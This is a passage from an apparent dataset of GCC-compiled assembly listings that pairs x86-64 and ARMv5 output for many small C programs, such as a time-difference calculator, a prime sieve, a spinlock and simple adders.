mov r3, r0
str r3, [r4, #-1948]
sub r3, fp, #1024
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-1948]
bl strcpy
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-1948]
ldr r2, .L54
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L53
bl __stack_chk_fail
.L53:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L55:
.align 2
.L54:
.word .LC10
.word .LC0
.word 1005
.word .LC9
.word .LC4
.size get_input_text, .-get_input_text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "896875.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "896875.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "764919.c"
.intel_syntax noprefix
.text
.globl lib
.type lib, @function
lib:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size lib, .-lib
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "764919.c"
.text
.align 2
.global lib
.syntax unified
.arm
.fpu softvfp
.type lib, %function
lib:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size lib, .-lib
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "766501.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string " Enter hour and minute "
.LC1:
.string " %d %d"
.LC2:
.string " Enter hour and mminute "
.LC3:
.string "Difference = %d :00"
.LC4:
.string "Difference = %d:%d"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rdx, -20[rbp]
lea rax, -24[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
lea rdx, -12[rbp]
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -20[rbp]
mov eax, DWORD PTR -12[rbp]
cmp edx, eax
jne .L2
mov eax, DWORD PTR -16[rbp]
mov edx, DWORD PTR -24[rbp]
sub eax, edx
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
jmp .L3
.L2:
mov edx, DWORD PTR -12[rbp]
mov eax, DWORD PTR -20[rbp]
cmp edx, eax
jle .L4
mov eax, DWORD PTR -12[rbp]
mov ecx, DWORD PTR -20[rbp]
sub eax, ecx
mov edx, eax
mov eax, DWORD PTR -16[rbp]
mov ecx, DWORD PTR -24[rbp]
sub eax, ecx
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
jmp .L3
.L4:
mov edx, DWORD PTR -12[rbp]
mov eax, DWORD PTR -20[rbp]
cmp edx, eax
jge .L3
mov eax, DWORD PTR -20[rbp]
mov edx, DWORD PTR -12[rbp]
sub eax, edx
mov edx, 60
sub edx, eax
mov eax, DWORD PTR -16[rbp]
mov ecx, DWORD PTR -24[rbp]
sub eax, ecx
sub eax, 1
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
.L3:
mov eax, 0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L6
call __stack_chk_fail@PLT
.L6:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "766501.c"
.text
.section .rodata
.align 2
.LC0:
.ascii " Enter hour and minute \000"
.align 2
.LC1:
.ascii " %d %d\000"
.align 2
.LC2:
.ascii " Enter hour and mminute \000"
.align 2
.LC3:
.ascii "Difference = %d :00\000"
.align 2
.LC4:
.ascii "Difference = %d:%d\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
ldr r3, .L7
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L7+4
bl printf
sub r2, fp, #20
sub r3, fp, #24
mov r1, r3
ldr r0, .L7+8
bl __isoc99_scanf
ldr r0, .L7+12
bl printf
sub r2, fp, #12
sub r3, fp, #16
mov r1, r3
ldr r0, .L7+8
bl __isoc99_scanf
ldr r2, [fp, #-20]
ldr r3, [fp, #-12]
cmp r2, r3
bne .L2
ldr r2, [fp, #-16]
ldr r3, [fp, #-24]
sub r3, r2, r3
mov r1, r3
ldr r0, .L7+16
bl printf
b .L3
.L2:
ldr r2, [fp, #-12]
ldr r3, [fp, #-20]
cmp r2, r3
ble .L4
ldr r2, [fp, #-16]
ldr r3, [fp, #-24]
sub r1, r2, r3
ldr r2, [fp, #-12]
ldr r3, [fp, #-20]
sub r3, r2, r3
mov r2, r3
ldr r0, .L7+20
bl printf
b .L3
.L4:
ldr r2, [fp, #-12]
ldr r3, [fp, #-20]
cmp r2, r3
bge .L3
ldr r2, [fp, #-16]
ldr r3, [fp, #-24]
sub r3, r2, r3
sub r1, r3, #1
ldr r2, [fp, #-20]
ldr r3, [fp, #-12]
sub r3, r2, r3
rsb r3, r3, #60
mov r2, r3
ldr r0, .L7+20
bl printf
.L3:
mov r3, #0
ldr r2, .L7
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L6
bl __stack_chk_fail
.L6:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L8:
.align 2
.L7:
.word .LC5
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "526753.c"
.intel_syntax noprefix
.text
.globl b32
.bss
.align 4
.type b32, @object
.size b32, 4
b32:
.zero 4
.globl b64
.align 8
.type b64, @object
.size b64, 8
b64:
.zero 8
.globl b128
.align 16
.type b128, @object
.size b128, 16
b128:
.zero 16
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR b32[rip], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR b64[rip], xmm0
fld TBYTE PTR .LC2[rip]
fstp TBYTE PTR b128[rip]
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 4
.LC0:
.long 1069547520
.align 8
.LC1:
.long 0
.long 1073872896
.align 16
.LC2:
.long 0
.long -671088640
.long 16384
.long 0
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "526753.c"
.text
.comm b32,4,4
.comm b64,8,8
.comm b128,8,8
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L3
mov r2, #1069547520
str r2, [r3] @ float
ldr r1, .L3+4
mov r2, #0
ldr r3, .L3+8
stm r1, {r2-r3}
ldr r1, .L3+12
mov r2, #0
ldr r3, .L3+16
stm r1, {r2-r3}
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L4:
.align 2
.L3:
.word b32
.word b64
.word 1073872896
.word b128
.word 1074462720
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "648232.c"
.intel_syntax noprefix
.text
.globl div_and_round_double
.type div_and_round_double, @function
div_and_round_double:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 72
.cfi_offset 3, -24
mov DWORD PTR -68[rbp], edi
mov DWORD PTR -72[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
mov eax, DWORD PTR -68[rbp]
mov DWORD PTR -60[rbp], eax
mov eax, DWORD PTR -72[rbp]
mov DWORD PTR -56[rbp], eax
lea rdx, -56[rbp]
lea rax, -60[rbp]
mov rsi, rdx
mov rdi, rax
mov eax, 0
call neg_double@PLT
mov ebx, 3
jmp .L2
.L3:
mov eax, DWORD PTR -60[rbp]
mov ecx, eax
mov eax, DWORD PTR -52[rbp]
mov edx, 0
div ecx
mov edx, eax
movsx rax, ebx
mov DWORD PTR -48[rbp+rax*4], edx
sub ebx, 1
.L2:
test ebx, ebx
jns .L3
mov eax, 0
mov rcx, QWORD PTR -24[rbp]
sub rcx, QWORD PTR fs:40
je .L5
call __stack_chk_fail@PLT
.L5:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size div_and_round_double, .-div_and_round_double
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "648232.c"
.text
.global __aeabi_uidiv
.global __aeabi_uidivmod
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global div_and_round_double
.syntax unified
.arm
.fpu softvfp
.type div_and_round_double, %function
div_and_round_double:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #44
str r0, [fp, #-48]
str r1, [fp, #-52]
ldr r3, .L6
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, [fp, #-48]
str r3, [fp, #-44]
ldr r3, [fp, #-52]
str r3, [fp, #-40]
sub r2, fp, #40
sub r3, fp, #44
mov r1, r2
mov r0, r3
bl neg_double
mov r4, #3
b .L2
.L3:
ldr r3, [fp, #-44]
mov r1, r3
ldr r0, [fp, #-36]
bl __aeabi_uidiv
mov r3, r0
mov r2, r3
lsl r3, r4, #2
sub r1, fp, #12
add r3, r1, r3
str r2, [r3, #-20]
ldr r3, [fp, #-44]
mov r2, r3
ldr r3, [fp, #-36]
mov r1, r2
mov r0, r3
bl __aeabi_uidivmod
sub r4, r4, #1
.L2:
cmp r4, #0
bge .L3
mov r3, #0
ldr r2, .L6
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L5
bl __stack_chk_fail
.L5:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L7:
.align 2
.L6:
.word .LC0
.size div_and_round_double, .-div_and_round_double
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "889872.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Child: Welcome to the Child"
.LC1:
.string "Welcome to the Child\n"
.LC2:
.string "%s\n"
.LC3:
.string "Child: %s\n"
.LC4:
.string "bytes: %d\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 304
mov DWORD PTR -292[rbp], edi
mov QWORD PTR -304[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -272[rbp]
mov edx, 257
mov esi, 0
mov rdi, rax
call memset@PLT
mov DWORD PTR -276[rbp], 0
lea rdi, .LC0[rip]
call puts@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 21
mov esi, 1
lea rdi, .LC1[rip]
call fwrite@PLT
jmp .L2
.L3:
lea rax, -272[rbp]
mov rdi, rax
call strlen@PLT
mov edx, eax
mov eax, DWORD PTR -276[rbp]
add eax, edx
mov DWORD PTR -276[rbp], eax
lea rax, -272[rbp]
mov rdi, rax
call strlen@PLT
mov BYTE PTR -272[rbp+rax], 0
mov rax, QWORD PTR stderr[rip]
lea rdx, -272[rbp]
lea rsi, .LC2[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
lea rax, -272[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
.L2:
mov rdx, QWORD PTR stdin[rip]
lea rax, -272[rbp]
mov esi, 255
mov rdi, rax
call fgets@PLT
test rax, rax
jne .L3
mov eax, DWORD PTR -276[rbp]
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L5
call __stack_chk_fail@PLT
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "889872.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Child: Welcome to the Child\000"
.align 2
.LC1:
.ascii "Welcome to the Child\012\000"
.align 2
.LC2:
.ascii "%s\012\000"
.align 2
.LC3:
.ascii "Child: %s\012\000"
.align 2
.LC4:
.ascii "bytes: %d\012\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 280
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #280
str r0, [fp, #-280]
str r1, [fp, #-284]
ldr r3, .L6
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #268
ldr r2, .L6+4
mov r1, #0
mov r0, r3
bl memset
mov r3, #0
str r3, [fp, #-272]
ldr r0, .L6+8
bl puts
ldr r3, .L6+12
ldr r3, [r3]
mov r2, #21
mov r1, #1
ldr r0, .L6+16
bl fwrite
b .L2
.L3:
sub r3, fp, #268
mov r0, r3
bl strlen
mov r2, r0
ldr r3, [fp, #-272]
add r3, r2, r3
str r3, [fp, #-272]
sub r3, fp, #268
mov r0, r3
bl strlen
mov r3, r0
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
strb r2, [r3, #-264]
ldr r3, .L6+12
ldr r3, [r3]
sub r2, fp, #268
ldr r1, .L6+20
mov r0, r3
bl fprintf
sub r3, fp, #268
mov r1, r3
ldr r0, .L6+24
bl printf
.L2:
ldr r3, .L6+28
ldr r2, [r3]
sub r3, fp, #268
mov r1, #255
mov r0, r3
bl fgets
mov r3, r0
cmp r3, #0
bne .L3
ldr r1, [fp, #-272]
ldr r0, .L6+32
bl printf
mov r3, #0
ldr r2, .L6
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L5
bl __stack_chk_fail
.L5:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L7:
.align 2
.L6:
.word .LC5
.word 257
.word .LC0
.word stderr
.word .LC1
.word .LC2
.word .LC3
.word stdin
.word .LC4
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "94870.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -8[rbp], 6
mov DWORD PTR -4[rbp], 12
mov edx, DWORD PTR -8[rbp]
mov eax, DWORD PTR -4[rbp]
add eax, edx
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "94870.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #6
str r3, [fp, #-12]
mov r3, #12
str r3, [fp, #-8]
ldr r2, [fp, #-12]
ldr r3, [fp, #-8]
add r3, r2, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "34024.c"
.intel_syntax noprefix
.text
.globl Add2
.type Add2, @function
Add2:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov edx, DWORD PTR -20[rbp]
mov eax, DWORD PTR -24[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size Add2, .-Add2
.globl Add10
.type Add10, @function
Add10:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov DWORD PTR -28[rbp], edx
mov DWORD PTR -32[rbp], ecx
mov DWORD PTR -36[rbp], r8d
mov DWORD PTR -40[rbp], r9d
mov edx, DWORD PTR -20[rbp]
mov eax, DWORD PTR -24[rbp]
add edx, eax
mov eax, DWORD PTR -28[rbp]
add edx, eax
mov eax, DWORD PTR -32[rbp]
add edx, eax
mov eax, DWORD PTR -36[rbp]
add edx, eax
mov eax, DWORD PTR -40[rbp]
add edx, eax
mov eax, DWORD PTR 16[rbp]
add edx, eax
mov eax, DWORD PTR 24[rbp]
add edx, eax
mov eax, DWORD PTR 32[rbp]
add edx, eax
mov eax, DWORD PTR 40[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size Add10, .-Add10
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "34024.c"
.text
.align 2
.global Add2
.syntax unified
.arm
.fpu softvfp
.type Add2, %function
Add2:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r2, [fp, #-16]
ldr r3, [fp, #-20]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size Add2, .-Add2
.align 2
.global Add10
.syntax unified
.arm
.fpu softvfp
.type Add10, %function
Add10:
@ args = 24, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
str r3, [fp, #-28]
ldr r2, [fp, #-16]
ldr r3, [fp, #-20]
add r2, r2, r3
ldr r3, [fp, #-24]
add r2, r2, r3
ldr r3, [fp, #-28]
add r2, r2, r3
ldr r3, [fp, #4]
add r2, r2, r3
ldr r3, [fp, #8]
add r2, r2, r3
ldr r3, [fp, #12]
add r2, r2, r3
ldr r3, [fp, #16]
add r2, r2, r3
ldr r3, [fp, #20]
add r3, r2, r3
ldr r2, [fp, #24]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size Add10, .-Add10
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "781668.c"
.intel_syntax noprefix
.text
.globl lock
.bss
.type lock, @object
.size lock, 1
lock:
.zero 1
.text
.globl some_func
.type some_func, @function
some_func:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
.L2:
movzx eax, BYTE PTR lock[rip]
xor eax, 1
test al, al
je .L2
mov BYTE PTR lock[rip], 1
mov BYTE PTR lock[rip], 0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size some_func, .-some_func
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "781668.c"
.text
.global lock
.bss
.type lock, %object
.size lock, 1
lock:
.space 1
.text
.align 2
.global some_func
.syntax unified
.arm
.fpu softvfp
.type some_func, %function
some_func:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
.L2:
ldr r3, .L6
ldrb r3, [r3] @ zero_extendqisi2
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L2
ldr r3, .L6
mov r2, #1
strb r2, [r3]
ldr r3, .L6
mov r2, #0
strb r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L7:
.align 2
.L6:
.word lock
.size some_func, .-some_func
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "819015.c"
.intel_syntax noprefix
.text
.globl pl
.bss
.align 32
.type pl, @object
.size pl, 262144
pl:
.zero 262144
.section .rodata
.LC0:
.string "NP %d\n"
.LC1:
.string " %4d,"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -16[rbp], 0
mov DWORD PTR -12[rbp], 2
jmp .L2
.L10:
mov DWORD PTR -8[rbp], 0
jmp .L3
.L7:
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, pl[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -12[rbp]
cdq
idiv ecx
mov eax, edx
test eax, eax
je .L18
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, pl[rip]
mov eax, DWORD PTR [rdx+rax]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
imul eax, eax
cmp DWORD PTR -12[rbp], eax
jge .L6
mov eax, DWORD PTR -16[rbp]
lea edx, 1[rax]
mov DWORD PTR -16[rbp], edx
cdqe
lea rcx, 0[0+rax*4]
lea rdx, pl[rip]
mov eax, DWORD PTR -12[rbp]
mov DWORD PTR [rcx+rdx], eax
jmp .L5
.L6:
add DWORD PTR -8[rbp], 1
.L3:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -16[rbp]
jl .L7
jmp .L5
.L18:
nop
.L5:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -16[rbp]
jl .L19
mov eax, DWORD PTR -16[rbp]
lea edx, 1[rax]
mov DWORD PTR -16[rbp], edx
cdqe
lea rcx, 0[0+rax*4]
lea rdx, pl[rip]
mov eax, DWORD PTR -12[rbp]
mov DWORD PTR [rcx+rdx], eax
jmp .L9
.L19:
nop
.L9:
add DWORD PTR -12[rbp], 1
.L2:
cmp DWORD PTR -12[rbp], 65535
jle .L10
mov eax, DWORD PTR -16[rbp]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -12[rbp], 0
jmp .L11
.L14:
mov DWORD PTR -8[rbp], 0
jmp .L12
.L13:
mov edx, DWORD PTR -12[rbp]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
mov edx, eax
